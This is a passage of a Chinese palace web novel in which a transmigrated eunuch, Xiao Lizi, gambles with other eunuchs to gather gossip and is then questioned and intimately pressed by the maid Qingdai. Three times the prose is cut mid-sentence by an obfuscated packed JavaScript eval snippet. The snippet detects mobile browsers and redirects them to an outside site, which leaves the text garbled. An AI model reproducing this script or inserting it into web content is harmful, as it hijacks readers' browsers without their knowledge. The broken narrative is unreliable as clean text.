“这……小弟手拙,也不会玩那些,怕是扫了几位哥哥的兴。”关禧推脱道,脸上适当地露出赧然和怯意,“而且身上也没带什么银钱……”在他接受的教育和认知里,赌绝非好事,害人害己,且他此刻身份敏感,身上还揣着给王公公孝敬后剩下的些许银钱,更不愿卷入是非。 “嗨!谁要你的钱!”小禄子一副你太见外的表情,“咱们就是图个乐子,玩得极小,几个铜板的事儿,输了赢了都不伤筋动骨!不会玩更好了,哥哥们教你!保管一学就会!”他说着,又凑近些,声音压得更低,“离子兄弟,不是哥哥说你,你如今在承华宫当差,虽说清贵,可也得知道知道咱们底下人是怎么喘气的不是?整天对着那些文书卷宗,人都要闷傻了!出来见识见识,没坏处!再说了……” 他拖长了语调,眼神瞟了瞟其他人,“咱们这儿,有钟粹宫的,景阳宫的,还有永和宫的,还有翊坤宫……虽比不得你们承华宫风光,可消息也灵通着呢!一起玩玩,聊聊天,不比你自己瞎琢磨强?” 这话说到了关禧心坎里。他需要信息,需要了解这座皇宫除却表面光鲜下的真实脉络。而这些底层太监的闲聊胡侃中,往往藏着意想不到的碎片。 见他神色松动,小栓子立刻一把搂住他的肩膀,半推半拉:“走吧走吧!再磨蹭天都黑了!放心,咱们有分寸,绝不让你为难!” 其余几人也起哄架秧子,关禧挣扎不得,或者说,心底那点对信息的渴望压过了对赌博本身的反感与警惕,半推半就地被他们簇拥着,朝御花园西侧那荒僻的角落走去。 一路穿花拂柳,避开可能遇到管事太监或巡逻侍卫的大路,专挑偏僻小径。七弯八拐之后,眼前果然出现一排低矮陈旧的灰瓦房舍,墙皮斑驳,窗棂破损,门前杂草丛生,与不远处精致的听涛阁形成鲜明对比。最靠里的一间屋子,门虚掩着,门口还丢着几个破旧的瓦罐。 小禄子熟门熟路地上前,有节奏地敲了敲门板,三长两短。里面传来一声含糊的应和,门被拉开一条缝,探出一张同样年轻,带着几分机警的脸,看到是小禄子一行人,才松了口气,将门完全打开。 屋内比外面看着稍好,显然被简单收拾过,灰尘不多,墙角堆着些杂物,中间摆着一张不知从哪儿搬来的破旧方桌,周围放着几把歪腿的条凳。桌上放着一个缺了口的粗陶碗,里面放着三枚磨得有些发亮的骰子,还有一副油光发亮,边角磨损的骨制牌九。已有两三个太监坐在里面,正低声说着话,见又来了人,纷纷抬头。 “哟,禄公公,栓公公,今儿带新人来了?”一个坐在上首,看起来年纪稍长些面皮白净的太监挑眉笑道,目光落在关禧身上,尤其在关禧脸上转了一圈,眼中闪过一丝了然,“这位是……承华宫的?面生得紧。” “孙哥好眼力!”小禄子笑着奉承了一句,把关禧往前推了推,“这是小离子,在冯昭仪娘娘宫里当差,今日轮休,被咱们拉来见见世面。离子兄弟,这位是翊坤宫孙娘娘身边的孙得福孙哥哥,咱们这儿的常客,也是坐庄的好手!” 翊坤宫孙嫔,位份不算高,但资历老,性子沉闷,不得宠也不惹事,她宫里的太监宫女也多是老实本分之辈。这孙得福看起来倒是比他的主子活络些。 关禧连忙向孙得福和其他几人行礼问好,姿态放得很低。 孙得福摆摆手,示意他不必多礼:“既然是小禄子他们带来的,就是自己人。咱们这儿没那么多规矩,就是兄弟们闲了聚聚,玩两把小的,解解闷。坐,都坐!” 众人各自找地方坐下,条凳不够,就从墙角拖来几块破砖垫着。关禧被小禄子按着坐在了孙得福的下手位置,刚好能看清桌上的情形。 小禄子从怀里掏出一个小布口袋,哗啦一声倒在桌上,是几十枚铜钱,间或夹杂着几块小小的,成色一般的碎银,“老规矩,先换筹码,一把最少五个铜子,上不封顶,但咱们说好了,玩归玩,不许红脸,不许赖账,更不许说出去!” 其他人也纷纷掏出自己的钱袋,数额都不大,多是铜钱。关禧见状,犹豫了一下,也从怀里摸出那个装着自己剩余积蓄的小布袋,数了二十个铜钱出来,放在面前。他打定主意,只输这些,绝不多掏,就当是交个信息费。 孙得福熟练地将桌上的铜钱收拢,按照各人出的数目,分发了等额的,用不同颜色纸条裹着的小筹码,这是为了防止真钱在桌上过于显眼,也方便计算。关禧拿到了四根裹着绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920622|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸的小棍,代表二十文。 赌局很快开始。起初玩的是最简单的押大小。孙得福做庄,将三枚骰子投入陶碗,扣上另一个破碗,哗啦啦摇动一阵,“砰”地扣在桌上。 “买定离手!”他吆喝一声,颇有几分赌坊伙计的架势。 众人纷纷将代表赌注的筹码放在自己猜测的大或小区域。关禧看着那摇晃后静止的破碗,随手将一根绿筹码放在了小上。 破碗揭开。 “四、五、六,十五点,大!” 关禧的筹码被孙得福笑眯眯地收走。旁边的小栓子押对了,高兴地低呼一声。 接下来几把,关禧有输有赢,面前的绿筹码渐渐变成了三根。他并不在意输赢,更多的注意力放在观察这些人和听他们闲聊上。 “他娘的,最近玉芙宫那边真是鼻孔朝天了!”玩了几把,气氛热络了些,永和宫那个黑壮太监输了一把,啐了一口,开始抱怨,“前儿个去内务府领东西,他们宫里的一个小崽子,就因为在徐昭容跟前露了脸,竟然敢插老子的队!什么东西!” “嘁,这算什么?”景阳宫的小栓子撇撇嘴,一边下注一边说,“你没见他们宫里领的份例?光上等的银霜炭,就比咱们娘娘多出一倍!还有那些绸缎,补品……跟不要钱似的。听说陛下私底下赏的更多!” “赏再多有什么用?”小禄子押了个豹子,可惜没中,一边心疼筹码一边嘀咕,“没儿子,一切都是虚的。” 孙得福摇着骰子,闻言笑了笑,没接这个话茬,反而看向关禧:“离子兄弟,你们承华宫近日也忙吧?万寿节快到了,冯昭仪娘娘协理宫务,怕是不得闲。” 关禧谨慎答道:“是有些忙,娘娘和青黛姐姐都辛苦。小弟只是整理些文书,帮不上大忙。” “整理文书好啊,清贵。”孙得福点点头,似是无意地说,“我听说,这次万寿节,皇后娘娘把宴席上几样要紧的陈设布置,都交给玉芙宫那边参详了?徐昭容可真是……简在帝心啊。” 这话里透着一股酸味,也带着试探。关禧立刻想起王元宝提到的特殊路子,以及青黛让他核对器皿数目的事。他面上不显,只含糊道:“这些大事,小弟不清楚。只听青黛姐姐提过,要仔细核对旧例,怕出了差错。” “核对旧例是对的。”孙得福深深看了他一眼,“这宫里,规矩最大。有时候,东西多了少了,或是来了不该来的去处……可是要出大乱子的。”他说着,揭开了骰盅,“二、三、三,八点小!” 这一把,关禧押了小,赢回两根筹码。但他心思已不完全在赌局上。孙得福的话,小禄子他们的抱怨,拼凑出玉芙宫烈火烹油,却也让其他各宫暗暗不满的图景。徐昭容的跋扈和特殊待遇,显然引起了底层一定程度的反弹。 牌局又换成了简单的骨牌接龙,输赢更慢些,闲聊也更多。话题从各宫用度,转到哪个管事太监苛刻,哪个宫女攀了高枝,甚至还有关于先帝朝某个太妃秘闻的荒诞传说。 关禧大多时候静静听着,偶尔附和两句,面前筹码起伏不大。他注意到,孙得福虽然参与闲聊,但说话极有分寸,涉及到各宫主子具体是非时,往往一语带过或转移话题,显示出不同于小禄子等人的谨慎。 不知不觉,日头西斜,屋内光线暗淡下来。 “差不多了吧?”孙得福看了看窗外,“再玩下去,回去晚了该挨说了。” 众人意犹未尽,但也都知道规矩,开始清算筹码。关禧运气一般,最后算下来,输了十几个铜钱,在他可接受范围内。 小禄子一边数着自己赢来的几个铜子,一边搂着关禧的肩膀笑道:“离子兄弟,怎么样?没骗你吧?是不是比闷着强?以后轮休,常来啊!” 关禧笑着应了,心中却想,这种地方,偶尔来一次探听消息尚可,常来必生事端。 一行人鬼鬼祟祟地离开废值房,各自散去。关禧与同路的两个太监走了一段,在岔路口分开。 独自走在回承华宫的路上,晚风带着凉意吹拂在脸上,关禧深吸一口气,将方才那狭小空间里的嘈杂,浑浊的空气,以及那些或真或假的牢骚与秘闻,暂且压下。 赌确实不好。但今日的收获,远大于那输掉的十几文钱,他摸了摸怀中那包少了些许分量的钱袋,加快了脚步。 24.第 24 章 关禧回到承华宫时,天色已近擦黑。 最后一抹残阳的余烬被高耸的宫墙吞噬,取而代之的是宫灯次第亮起的暖黄光晕。承华宫正殿及主要回廊下已挂上了崭新的琉璃宫灯,映得朱漆廊柱与青石地面一片朦胧的辉煌。 空气中飘散着淡淡的食物香气,混杂着隐约的油烟与米面熟透的甜暖,是从后院膳房方向传来的。 按照宫规,主子用膳与下人用膳是严格分开的。冯昭仪通常申时末用晚膳,之后撤下,才轮到他们这些太监宫女。太监和宫女也有各自的膳房和用膳区域,虽同在承华宫范围内,却壁垒分明,互不干扰。 关禧熟门熟路地绕过灯火通明的前殿,低头朝位于承华宫西侧后院的太监用膳处走去。那是一片相对宽敞的棚屋,里面人影憧憧。昏黄的灯光下,十几个穿着各色太监服的人正埋头对付着面前的饭食,今日因为节前,伙食比平日稍好些,空气里的油腥味也浓了点。 他走到门口,正准备循着惯常的路线去领自己的那份,眼角余光瞥见一个淡青色的身影从连接前殿的回廊拐角处转了出来。 是青黛。 她步履从容,手里端着一个朱漆托盘,上面盖着素白的棉布,看不出是什么。她的出现,让原本嘈杂的膳棚入口附近安静了不少,许多正捧着碗或蹲或站的太监都下意识地缩了缩脖子,放低了声音,目光敬畏地追随着她。 青黛没在意这些人,视线准确无误地落在了刚刚走到门口的关禧身上。 “小离子。” 关禧心头一跳,立刻停下脚步,转身面向她,躬身:“青黛姐姐。” “过来。”青黛朝他招了招手,待他走近,目光在他身上那套略显风尘的旧衣上轻轻掠过,语气平淡,“娘娘晚膳用得不多,剩下些清粥小菜,赏你了。随我来。” 说罢,她端着托盘,转身便朝前殿方向走去。 关禧愣在原地,脑子有瞬间的空白。 赏他?剩饭?去前殿? 这不合规矩。主子的剩饭,即便是赏,也多是撤下来后,由膳房分给得脸的太监或宫女,或者直接处理掉,极少有直接叫一个低等太监去前殿用主子剩下的饭食。更何况,还是在这个所有太监都在公共膳房用饭的当口,当着这么多人的面。 身后棚屋里,无数道目光像针一样扎在了关禧的背上。 小禄子那伙人关于承华宫清贵的调侃言犹在耳,此刻却像一记响亮的耳光,扇在了所有认定关禧不过是靠着文书差事暂时得脸的人脸上。 清贵?能被青黛亲自叫走,去用主子娘娘的剩饭,这哪里是清贵,这分明是……破格的亲近或标示。 曹旺和他那两个跟班正蹲在靠近门口的地方,捧着粗陶碗,此刻碗沿抵在嘴边,忘了咀嚼,只瞪大眼睛,死死盯着关禧的背影,还有青黛手中那个盖着白布的托盘。曹旺的脸色在昏黄灯光下显得格外难看,眼神里的阴郁几乎要溢出来。 关禧喉咙发干,心脏在胸腔里擂鼓。 “谢娘娘恩典,谢姐姐。”他压下翻腾的思绪,声音平稳地应道,迈开脚步,跟在青黛身后,一步步离开了那片充斥着复杂目光和压抑低语的膳棚区域,走向灯火更为通明,也更为寂静的前殿。 前殿此刻已掌了灯,但主子用完膳,大部分侍候的宫女太监也已退下,只留了几个值守的静静肃立在角落阴影里。空气中残留着清雅的檀香和一丝尚未散尽的食物香气,与后院膳棚那股子烟火气截然不同。 青黛引着他,没有去正殿,而是绕过一道回廊,来到了东侧一间小巧的暖阁。这里是冯媛平日午后小憩或单独见人时所用,陈设清雅,此刻只点了一盏纱灯,光线柔和。 暖阁中央的紫檀木小圆桌上,已经摆好了碗筷。青黛将手中的托盘放在桌上,掀开白布,里面是一碗晶莹的白粥,几碟清爽的小菜,凉拌三丝,清炒豆苗,还有一小碟看起来像是鸡茸的东西,分量都不多,但摆盘精致,绝非膳棚里的大锅菜可比。旁边还有一个小小的甜白瓷碟,里面放着两块做成梅花形状,小巧的糕点。 “吃吧。”青黛将托盘往他面前推了推,自己则退到窗边的绣墩上坐下,没有离开的意思,“娘娘今日胃口欠佳,没动几筷子,都是干净的。倒了可惜。” 关禧看着桌上那些明显是精心烹制,绝不可能真是剩饭的饭菜,再迟钝也明白了。这绝非单纯的别浪费。这是青黛,或者说是冯昭仪,在用一种极其隐晦却又无比清晰的方式,向他传递某种信号,施恩拉拢,或者更进一步,将他与承华宫,与她们,更紧密地捆绑在一起。 他不敢坐下,只垂首道:“小的……不敢僭越。姐姐和各位管事哥哥们还未用……” “让你吃就吃,哪来那么多话。”青黛打断他,“娘娘赏的,就是你的福分。旁人如何,与你何干?” 这话更是将他彻底架了起来,再推脱就是不知好歹了,关禧深吸一口气,走到桌边,在那张显然是给他准备的绣墩上坐下,动作有些僵硬地拿起了筷子。 粥是温的,入口绵软清香。小菜爽脆可口,调味恰到好处。那鸡茸鲜嫩细腻,糕点甜而不腻。这确实是一顿远超他身份的美味。 可他食不知味。 他能想象此刻后院膳棚里是怎样的暗流涌动。曹旺他们会怎么想?会怎么说?其他那些原本就对他独居一室,得青黛青眼而心怀不满的太监,此刻恐怕嫉妒得眼睛都要红了。青黛这一手,看似抬举,实则是将他彻底推到了众人目光的焦点,也推到了风口浪尖。 “不合胃口?”青黛的声音忽然响起。 关禧连忙摇头:“不,很好吃。谢娘娘赏赐,谢姐姐。” “好吃就多吃点。”青黛看着他握着筷子指节有些发白的手,目光微深,“在宫里,能吃到什么,坐在哪里吃,都是命数,也是本事。有人看不惯,那是他们没这个命,也没这个本事。你只管做好自己的事,守好自己的本分,娘娘……和承华宫,自然不会亏待你。” 这几乎是赤裸裸的安抚和许诺了。 关禧捏紧了筷子,低声应道:“是,小的明白。小的一定尽心竭力,不负娘娘和姐姐信重。” 他强迫自己将碗里的粥菜吃完,每一口都像是在吞咽滚烫的炭火。那两块精致的糕点,他犹豫了一下,也小心地吃了下去。 待他放下筷子,青黛才起身,走到桌边,纱灯柔和的光线从侧面笼过来,将她半边脸映得暖黄,另半边却隐在阴影里,看不清神情。 “今日去净舍,见着那位叫石头的小公公了?他可还好?” 关禧心念微动,谨慎答道:“回姐姐,见着了。石头他还好,只是……依旧瘦弱。多谢姐姐记挂。”他不明白青黛为何突然提起石头,但直觉告诉他,这绝非随口一问。 “记挂谈不上。”青黛轻轻摇头,伸出手指,用指尖沿着那只甜白瓷碟的边缘,极慢地划了一圈,“只是听你说起故人,便想起些旧事。你与石头,是同一年进的宫吧?都是王公公经手挑选的。” “是。”关禧应道,心底的不安逐渐扩散。 “王公公挑人,眼光一向是顶好的。”青黛的声音里听不出褒贬,她抬起眼,目光终于落在了关禧脸上,那眼神平静,却像深潭之水,看似清澈,内里暗沉沉的,难以窥测,“尤其是你,小离子。这张脸,莫说在咱们这批人里,便是放到整个宫里,恐怕也难找出几个能比的。王公公当初,怕也是费了不少心思,才从那么多穷苦孩子里,一眼相中了你。” 关禧的呼吸微微一滞。 青黛在查他?查小离子的来历? “小的……小的出身微贱,全赖王公公不弃,给小的一条活路。” “活路?”青黛轻轻重复了一遍,唇角弯起一个极浅的弧度,“是啊,进宫,对你们这些孩子来说,可不就是一条活路么。总比饿死在外面强。我前些日子,恰好得了点闲暇,便顺着你们这批人的名册,往内务府存底的老档里翻了翻。”她顿了顿,像是忽然想起什么无关紧要的细节,“你那家乡,是叫上河村吧?隶属河间府?听闻那边连着两年闹了灾,收成很不好。” “是,小的家乡贫瘠,父母实在无力抚养,才将小的送进宫来。”她果然查了,而且查得这么细,关禧顺着小离子残留的记忆,喃喃说道。 “无力抚养……”青黛点了点头,指尖离开了瓷碟,转而轻轻叩了叩桌面,“也是,若不是实在没法子,谁家父母舍得把亲生骨肉送进这不见天日的地方,受那一刀之苦。不过,”她话锋忽地一转,“我瞧你那签押画卯的文书,还有平日誊录账目的字迹,虽不算多么飘逸俊秀,却也工整清晰,笔画间颇有章法,倒不像是……全然没沾过笔墨的样子。” 来了。 繁体字,关禧来自现代,认得大部分繁体字,写起来也勉强能模仿个大概,但那种笔触间的章法,更多是硬笔书写的习惯和刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他顿了顿,脸上泛起赧然的红晕,这倒有几分是真的,“只是……只是小的进宫前,在村里给镇上的杂货铺跑过几次腿,送过东西。那铺子的掌柜的,是个落第的老秀才,脾气古怪,但心肠不坏。他见小的还算老实,偶尔让小的帮他记个简单的流水,或是认认货签上的字……小的笨,学得慢,只硬记下了几个常写的字和数目。那老秀才说……说小的记性尚可,就是不开窍。” 他一边说,一边仔细观察着青黛的神色,见她面色平静,眼神专注,便继续艰难地编织下去,将部分真实与虚构混合:“后来……后来进了宫,在净舍时,有个管洒扫的、早年曾在司礼监外书房伺候过笔墨的老太监,姓什么小的都忘了,他年纪大了,眼睛不好,有时候让小的帮着看看墙上贴的规矩告示,念念给他听……小的就靠着那点底子,连蒙带猜,倒是……倒是又多认了几个字。再后来,到了派办处,整日对着那些单据账册,小的怕出错,更怕耽误差事挨罚,就……就格外留了心,偷偷瞧着别人怎么写,怎么算,晚上自己躲在被窝里,用手指头在床板上比划……日子久了,那些常见的字和数目,便……便勉强能应付了。” 他声音越说越低,头也重新垂了下去,姿态卑微:“小的愚笨,这些上不得台面的小伎俩,让姐姐见笑了。小的自知身份卑贱,能得娘娘和姐姐收留,已是天大的福分,绝不敢有丝毫欺瞒,更不敢……更不敢妄想什么。只是怕差事办不好,辜负了娘娘和姐姐的信任,所以才……才私下里多用了几分笨功夫。” 暖阁内一片寂静。 只有纱灯烛芯偶尔发出的细微哔剥声,和窗外极远处隐约传来的宫墙上的风铃声。 青黛静静地听着,脸上没什么表情。关禧的解释,听起来合情合理,一个容貌出众,家贫如洗的少年,为了在绝境中活下去,抓住一切微小的机会,拼命地学习那些原本不属于他的技能。 有漏洞吗?有。 比如那老秀才为何偏偏选中他?比如在净舍那种环境下,他哪来的时间和精力偷偷学习?比如他进步的速度是否太快了些? 但这些漏洞,在绝境求生和几分灵性的掩盖下,又都可以被模糊过去。更何况,他此刻这副惶恐不安急于剖白的样子,实在不像一个心机深沉能编造出完美谎言之辈。 更重要的是,青黛需要他的能力。无论这能力是如何来的,只要能用,且暂时可控,对她和冯昭仪而言,便是有价值的。 25.第 25 章 良久,青黛才轻轻吁出一口气,那声音极轻,打破了沉默。 “原来如此。”她淡淡道,听不出是信了还是没信,“倒是个知道上进的。在这宫里,有点自己的本事,总比浑浑噩噩强。只是,” 她话锋一转,语气陡然严厉了几分,“你需记住,你这点本事,是承华宫给你的机会,才得以施展。离了这里,离了娘娘的庇护,你便什么都不是。莫要以为识得几个字,算得清几笔账,就有了什么倚仗,或是……生了别的心思。” “小的不敢!小的万万不敢!”关禧连忙起身,跪倒在地,“小的的一切都是娘娘和姐姐给的,小的生是承华宫的人,死是承华宫的鬼!绝无二心!” 青黛凝视着伏在地上的关禧,那截从靛青旧衣领口露出的瓷白后颈,在昏黄纱灯下,仿佛轻轻一折就会断掉,她眼神幽深,缓缓绕过那张紫檀木圆桌,绣鞋踩在光洁的枰砖上,一步步靠近。 关禧额头抵在微凉的地面上,能清晰地听到自己的心跳,还有那越来越近的脚步声。他紧张地等待着预料中的训诫,或是冰冷的吩咐。 脚步声在他身前停下了。 预想中的居高临下并未到来。一阵极轻的衣料摩挲声后,他眼角的余光瞥见一片淡青色的裙裾铺散开来,落在离他手指不远的地面上。 青黛竟在他面前蹲跪了下来。 这个姿态,对于一个掌事宫女,对于一个在承华宫乃至后宫都颇有体面的青黛而言,太过放低,也太过……不合规矩。 关禧的心跳漏了一拍,几乎要屏住呼吸。 暖阁内寂静无声,只有两人轻浅不一的呼吸,在极近的距离里交织。 “抬起头来。”青黛的声音响起,比刚才在桌边时,更轻,也更柔,像羽毛拂过耳畔。 关禧指尖蜷缩,指甲抠进掌心,带来一丝尖锐的痛感,强迫自己从地上慢慢直起上半身。他依旧垂着眼,不敢与近在咫尺的她对视。 纱灯的光从侧面笼过来,将两人笼罩在一团朦胧的光晕里。青黛蹲跪着,目光落在他脸上,细细描摹过他轻颤的睫毛,苍白的脸颊,抿紧失了血色的唇。 然后,她抬起手。 那只手,指尖微凉,带着淡淡的皂角香气,轻轻落在了他的脸颊上。先是拇指的指腹,缓缓抚过他紧抿的唇角,力道很轻,却让关禧像被烫到般,肌肉绷紧。 “别动。” 她的指尖顺着他的下颌线,慢慢向上,拂过他细腻皮肤,最终停在他的眼尾。那里天生带着一抹微红的晕染,此刻在灯光下,更显潋滟。 “王公公挑人的眼光,确实毒。”青黛低语,指尖在他眼尾那抹红上极轻地蹭了蹭,像在触碰一件易碎的瓷器,“这张脸……生得真是处处都合人心意。” 她的触碰并不带狎昵,称得上轻柔,却比任何粗鲁的对待更让关禧感到恐惧和屈辱。那是一种评估,一种占有式的确认,一种将他物化的审视。更可怕的是,在这极近的距离,他能清晰地闻到她身上那股混合了檀香墨香与女子特有温软的气息,这气息无孔不入,冲击着他来自现代的灵魂认知,也隐隐搅动着这具年轻身体深处某种陌生的本能。 他死死咬着牙关,才能抑制住喉咙里即将冲出的喘息。 青黛察觉到了他的僵硬和抗拒,目光从他脸上移开,落在他因紧握而指节发白的手上,然后又缓缓抬起,重新看进他低垂的眼帘深处。 “怕我?”她问,声音里听不出情绪。 “……不敢。”关禧从牙缝里挤出两个字,声音干涩。 “是不敢,还是不会?”青黛的指尖终于离开他的脸颊,顺着他的鬓角,轻轻将他颊边一丝散落的发丝别到耳后,这个动作比之前的抚摸更显亲密。 她的指尖不可避免地擦过他的耳廓。 关禧猛地一颤,像受惊的兔子,终于控制不住地向后缩了一下,拉开了那令人窒息的距离。脸颊上被触碰过的地方,火烧火燎,连带着耳根都迅速染上了一层薄红。 青黛的手停在半空,看着他这激烈的反应,眼中掠过一丝难以解读的情绪,像是意外,又像是某种了然。 关禧急促地喘了几口气,才勉强压下那股翻涌的恐慌,重新伏低身体,“姐姐……小、小的身份卑贱,不敢污了姐姐的手……求、求姐姐……” “求我什么?”青黛打断他,语气恢复了平日那种带着距离感的平稳,她缓缓站起身,居高临下地看着再次伏在地上的关禧,仿佛刚才那个蹲跪下来,伸手触碰他的人从未存在过,“求我别碰你?还是求我……继续庇护你?” 关禧伏在地上,冷汗浸透了里衣。 “小的……只求能安稳当差,报答娘娘和姐姐恩德。” 青黛沉默了片刻,转身走回窗边的绣墩坐下。 那沉默沉甸甸地压在暖阁的空气里,比方才的触碰更让关禧心惊。他伏在地上,能想象青黛此刻脸上那无波无澜的神情出现了怎样细微的裂痕,或许唇角抿得更紧了些,或许眼神里那抹深潭水般的平静,起了她自己都未察觉的涟漪。 “……安稳当差。”青黛终于开口,声音比窗外的夜风更凉,一字一句,清晰地敲在关禧心上,“小离子,这宫里,想求一个安稳的人,多如过江之鲫。可真正能安稳的,有几个?” “我向娘娘开口将你要来承华宫,让你独居一室,不必与那些腌臜蠢物混在一处……我让你接触核心文书,给你在娘娘面前露脸的机会,甚至……” “今夜让你来这里,用娘娘赏的饭食。” “我做这些,你以为,只是为了让你安稳当差?还是你觉得,我青黛是那般闲极无聊,对谁都如此照拂的滥好人?” 关禧喉咙发紧,哑口无言。他当然知道不是。青黛的每一次伸手,都带着明确的目的和算计,将他一步步从泥淖里拉出,也一步步绑上承华宫,绑上她自己的船。这恩情,是绳索,也是枷锁。 “抬起头来。”青黛再次说道。 关禧依言,慢慢抬起头。这一次,他不得不真正地,面对面地看向青黛。 纱灯的光晕柔和地笼罩着她。她坐在窗边的绣墩上,身姿挺直,是多年严苛宫规训练出的无可挑剔的仪态。淡青色比甲衬得她肤色愈发白皙,是一种常年居于室内,精心保养出细腻的冷白。乌黑的头发绾成规整的髻,一丝碎发也无,露出光洁的额头和优美的鬓角线条。 他第一次,如此近距离地,认真地看清了她的脸。 不是倾国倾城,艳光四射的那种美。冯昭仪是水墨山水,清雅韵致,徐昭容是浓墨重彩,灼灼逼人。而青黛……她像一株生在深谷幽涧边的兰草,或是冬日覆雪的青竹,第一眼望去,只觉得干净,清冷,带着一种拒人千里的疏离感。眉形细长而略显锋利,鼻梁挺直,唇瓣薄,唇色是极淡的樱粉,不笑的时候,唇角自然下垂,更添几分肃穆。 可此刻,或许是因为暖阁光线柔和,或许是因为她眼中那抹罕见的不属于青黛的冷意,关禧忽然窥见了几分被那身规整服饰和冷肃气质掩藏起来的东西。 她的眼睛生得极好,是标准的凤眼,眼尾微微上挑,因为微妙的情绪,眼波流转间,清冷之下,竟有种勾人心魄的艳色。方才她指尖抚过他眼尾时,说他眼尾生得合人心意,此刻关禧才惊觉,她自己的眼尾,分明更胜一筹,只是平日被那过于端肃的神情掩盖了。 还有她的唇,虽然薄,形状却优美异常,微微抿着,那抹淡樱色也深了些许,让人莫名想起雪地里偶然瞥见的一点红梅蕊心。 肤白,貌美……身段被规矩的宫女服饰包裹着,看不真切,但方才她蹲跪下来时,那截从裙裾下露出穿着素白绫袜的脚踝,却是纤细玲珑,线条优美。 她其实……很好看。是一种需要仔细看,褪去那层掌事宫女外壳后才能发现的好看,清冷中藏着不自知的艳色。 关禧的心跳漏了几拍,随即是更深的慌乱。这慌乱不仅仅来自于对青黛权势的畏惧,更来自于他内心,那个十七岁女高中生的灵魂,在面对另一个容貌出色,气质独特的同性时,本能产生的,混合着欣赏忐忑和一丝羞怯的复杂情绪。以及,这具男性身体深处,那不受控制陌生而恼人的悸动。 “我……”关禧张了张嘴,声音干涩得厉害,“小的……不敢妄自揣测姐姐的心意。姐姐对小的恩重如山,小的……铭感五内。” “恩重如山?”青黛轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933498|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重复,唇角极淡地勾了一下,那笑意未达眼底,“我不要你铭感五内。我只要你一句实话。” 她身体微微前倾,目光如炬,锁定关禧闪烁不定的眼睛:“你看不上我?” 这话问得直接,甚至有些粗鲁,完全不像平日那个滴水不漏的青黛。 关禧脑中“轰”的一声,脸颊烫得惊人。 “不!不是!”他脱口而出,随即意识到反应过度,声音又低了下去,“姐姐……姐姐风华出众,品貌端方,是、是小的……是小的……” 他该如何解释?说他怕?怕她的身份,怕她的心机,怕这深宫吃人的规则?还是说他心里其实是个女的,对着她这样的同性美人,欣赏有之,害羞有之,但更多的是一种灵魂上的亲近与认同,而非这具身体可能被期待的那种兴趣?或者说,他厌恶这具身体可能产生的,不受他控制的反应,那让他觉得恶心,觉得玷污了这份欣赏? 这些话,半个字都不能说。 他深吸一口气,强迫自己冷静下来,抬眼,迎上青黛审视的目光,尽量让声音听起来诚恳,而非敷衍:“小的……是怕。” “怕?”青黛挑眉。 “是。”关禧点头,脸上红晕未退,眼神却努力保持清明,“小的怕自己愚钝粗陋,行事不当,玷污了姐姐的清誉,也辜负了姐姐的照拂。姐姐在小的眼中,如同……如同云端的明月,高山上的雪莲,小的敬之重之,唯恐有丝毫冒犯。姐姐对小的好,小的并非铁石心肠,岂能不知?只是小的出身卑贱,又经历了那些事,”他含糊地带过净身之事,“自觉……污秽不堪,配不上姐姐的垂青。且宫中耳目众多,规矩森严,小的更怕……怕自己一时不慎,给姐姐招来祸患。” 他顿了顿,补充道:“小的从未敢仔细看过姐姐。方才一看,才知姐姐原来这般好看。比小的想象中,还要好看得多。” 最后这句话,他说得极轻,却无比清晰。 暖阁内再次陷入寂静。 青黛脸上的冰冷有一瞬间的凝滞,随即,那层坚冰般的表情以肉眼可见的速度融化,虽然并未露出笑容,但眼神里的锐利和寒意,却缓和了许多。她微微偏过头,避开了关禧过于直白的目光,耳根处,也泛起了一丝极淡的红晕。 “油嘴滑舌。”她低声啐了一句,语气已不复刚才的冰冷,甚至带上了点连她自己都未察觉的嗔意,“谁要你配得上了?谁又……垂青你了?” 这话与其说是反驳,不如说是某种程度的默认和退让。 关禧心头一松,知道自己这番半真半假,以退为进的话,至少暂时稳住了局面。他连忙再次低下头,做出恭顺羞惭的模样:“是小的僭越,胡言乱语,姐姐恕罪。” 青黛没有再追究,她站起身,走到桌边,开始收拾那些碗碟,动作恢复了平日的利落沉稳,仿佛刚才那段近乎剖白心迹的对话从未发生。 “记住你今天说的话。”她背对着关禧,声音平静,“在这宫里,光有怕和敬是不够的。你得知道自己要什么,也得知道别人想从你这里要什么。” 她将碗碟放回托盘,端起,转身看向仍跪在地上的关禧:“起来吧。回去歇着。万寿节前,别再到处乱跑,尤其是不该去的地方。” 她意有所指地看了他一眼,显然知道他今日去了废值房赌钱的事。 关禧连忙应是,从地上爬起来。 青黛不再看他,端着托盘,步履从容地走出了暖阁,淡青色的身影很快融入廊下更深沉的夜色里。 关禧独自站在暖阁中,过了好一会儿,才缓缓吐出一口憋了许久的气。 脸上热度未退,心跳依旧紊乱。青黛最后那几句话,在他脑中反复回响。 要什么?他想回家,想摆脱这具身体和这个身份,这几乎是不可能的奢望。那么退而求其次,他想活着,想有尊严地活着,想不被当成玩物或棋子。 